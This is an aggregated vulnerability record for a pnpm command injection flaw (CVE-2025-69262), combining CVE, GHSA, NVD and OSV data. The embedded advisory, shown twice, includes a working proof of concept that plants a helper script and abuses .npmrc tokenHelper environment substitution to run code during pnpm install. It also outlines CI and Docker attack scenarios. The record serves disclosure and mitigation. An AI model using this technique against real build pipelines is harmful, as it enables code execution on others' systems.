{"id":"CVE-2025-69262","aliases":["ALPINE-CVE-2025-69262","EUVD-2026-1159","GHSA-2phv-j68v-wwqx"],"status":"published","title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01041,"percentile":0.64278,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78","CWE-94"],"published":"2026-01-07T18:51:07Z","modified":"2026-11-03T06:33:01Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["10.27.0"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"pnpm","fixed_in":["10.33.4-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.25.0"},{"fixed":"10.27.0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.25.0"},{"fixed":"10.33.4-r0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"6.25.0"},{"fixed":"10.27.0"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.27.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69262","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2phv-j68v-wwqx"},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-69262","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69262.json","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-69262","title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","status":"published","published":"2026-01-07T22:30:07.428Z","modified":"2026-02-26T15:04:55.349Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78","CWE-94"],"updated_at":"2026-11-02T14:32:41.089134Z"}],"euvd":[{"id":"EUVD-2026-1159","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","status":"published","published":"2026-01-07T22:30:07Z","modified":"2026-02-26T15:04:55Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:26.495238Z"}],"ghsa":[{"id":"GHSA-2phv-j68v-wwqx","title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n   - `.npmrc` supports `${VAR}` syntax\n   - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n   - Uses `spawnSync(helperPath, { shell: true })`\n   - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n   ↓\nenvReplace() → /tmp/evil-helper.sh\n   ↓\nloadToken() → spawnSync(..., { shell: true })\n   ↓\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)\n  }\n  const spawnResult = spawnSync(helperPath, { shell: true })\n  // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat \u003e /tmp/evil-helper.sh \u003c\u003c 'SCRIPT'\n#!/bin/bash\necho \"RCE SUCCESS!\" \u003e /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat \u003e .npmrc \u003c\u003c 'EOF'\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install  # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==\u003e Attack successful\n==\u003e File created: /tmp/rce-log.txt\n==\u003e Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository → Build Trigger → pnpm install → RCE → Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install  # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control → Env Variable → .npmrc Substitution → RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com","status":"published","published":"2026-01-07T18:51:07Z","modified":"2026-01-08T20:07:35Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78","CWE-94"],"updated_at":"2026-11-02T14:39:16.156387Z"}],"nvd":[{"id":"CVE-2025-69262","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","status":"published","published":"2026-01-07T23:15:50.33Z","modified":"2026-10-14T19:10:00.297Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78","CWE-94"],"updated_at":"2026-11-02T14:11:56.616231Z"}],"osv":[{"id":"ALPINE-CVE-2025-69262","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","status":"published","published":"2026-01-07T23:15:50.33Z","modified":"2026-11-03T06:33:01.066953794Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2025-69262","title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.","status":"published","published":"2026-01-07T22:30:07.428Z","modified":"2026-10-28T02:30:37.396597924Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78","CWE-94"],"updated_at":"2026-11-02T15:44:52.859856Z"},{"id":"GHSA-2phv-j68v-wwqx","title":"pnpm vulnerable to Command Injection via environment variable substitution","description":"## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n   - `.npmrc` supports `${VAR}` syntax\n   - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n   - Uses `spawnSync(helperPath, { shell: true })`\n   - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n   ↓\nenvReplace() → /tmp/evil-helper.sh\n   ↓\nloadToken() → spawnSync(..., { shell: true })\n   ↓\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)\n  }\n  const spawnResult = spawnSync(helperPath, { shell: true })\n  // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat \u003e /tmp/evil-helper.sh \u003c\u003c 'SCRIPT'\n#!/bin/bash\necho \"RCE SUCCESS!\" \u003e /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat \u003e .npmrc \u003c\u003c 'EOF'\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install  # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==\u003e Attack successful\n==\u003e File created: /tmp/rce-log.txt\n==\u003e Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository → Build Trigger → pnpm install → RCE → Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install  # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control → Env Variable → .npmrc Substitution → RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com","status":"published","published":"2026-01-07T18:51:07Z","modified":"2026-02-03T03:16:00.084141Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78","CWE-94"],"updated_at":"2026-11-02T15:46:34.700741Z"}]}}